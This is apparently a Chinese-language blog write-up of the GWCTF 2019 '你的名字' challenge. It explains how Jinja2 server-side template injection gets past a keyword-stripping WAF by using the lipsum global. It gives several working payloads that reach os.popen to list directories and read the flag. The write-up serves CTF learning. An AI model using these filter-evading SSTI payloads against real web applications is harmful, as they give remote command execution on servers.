[GWCTF 2019]你的名字 1
[GWCTF 2019]你的名字
1
很容易猜到是模板,但是普通的{{}}不行,但是单个大括号就没被过滤
看来是waf绕过
试了一下{%...%}

我们需要用到lipsum,那么它是什么呢?
1.lipsum

在 SSTI(服务端模板注入)中,它是 Jinja2 引擎内置的一个生成占位文本(Lorem Ipsum)的函数。
在 Flask/Jinja2 的沙箱环境里,很多全局变量(如 os, sys, __builtins__)默认是被禁用的。你直接输入 {{ os }} 会报错。
但是,lipsum 通常是默认开启且合法的。
它存在于 Jinja2 的 globals(全局命名空间)中。
因为它是一个函数,它身上带着 Python 函数共有的属性:__globals__。
payload:
1 | {% raw %}{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('ls /').read()%}{% endraw %} |

1 | {% raw %}{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('cat /flag_1s_Hera').read()%}{% endraw %} |
或者,利用拼接
1 | name={% raw %}{%set a='__bui'+'ltins__'%}{% endraw %}{% raw %}{%set b='__im'+'port__'%}{% endraw %}{% raw %}{%set c='o'+'s'%}{% endraw %}{% raw %}{%set d='po'+'pen'%}{% endraw %}{% raw %}{%print(lipsum['__globals__'][a][b](c)[d]('ls /')['read']())%}{% endraw %}{% raw %}{%set a='__bui'+'ltins__'%}{% endraw %}{% raw %}{%set b='__im'+'port__'%}{% endraw %}{% raw %}{%set c='o'+'s'%}{% endraw %}{% raw %}{%set d='po'+'pen'%}{% endraw %}{% raw %}{%print(lipsum['__globals__'][a][b](c)[d]('cat /flag_1s_Hera')['read']())%}{% endraw %} |


All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.
Comments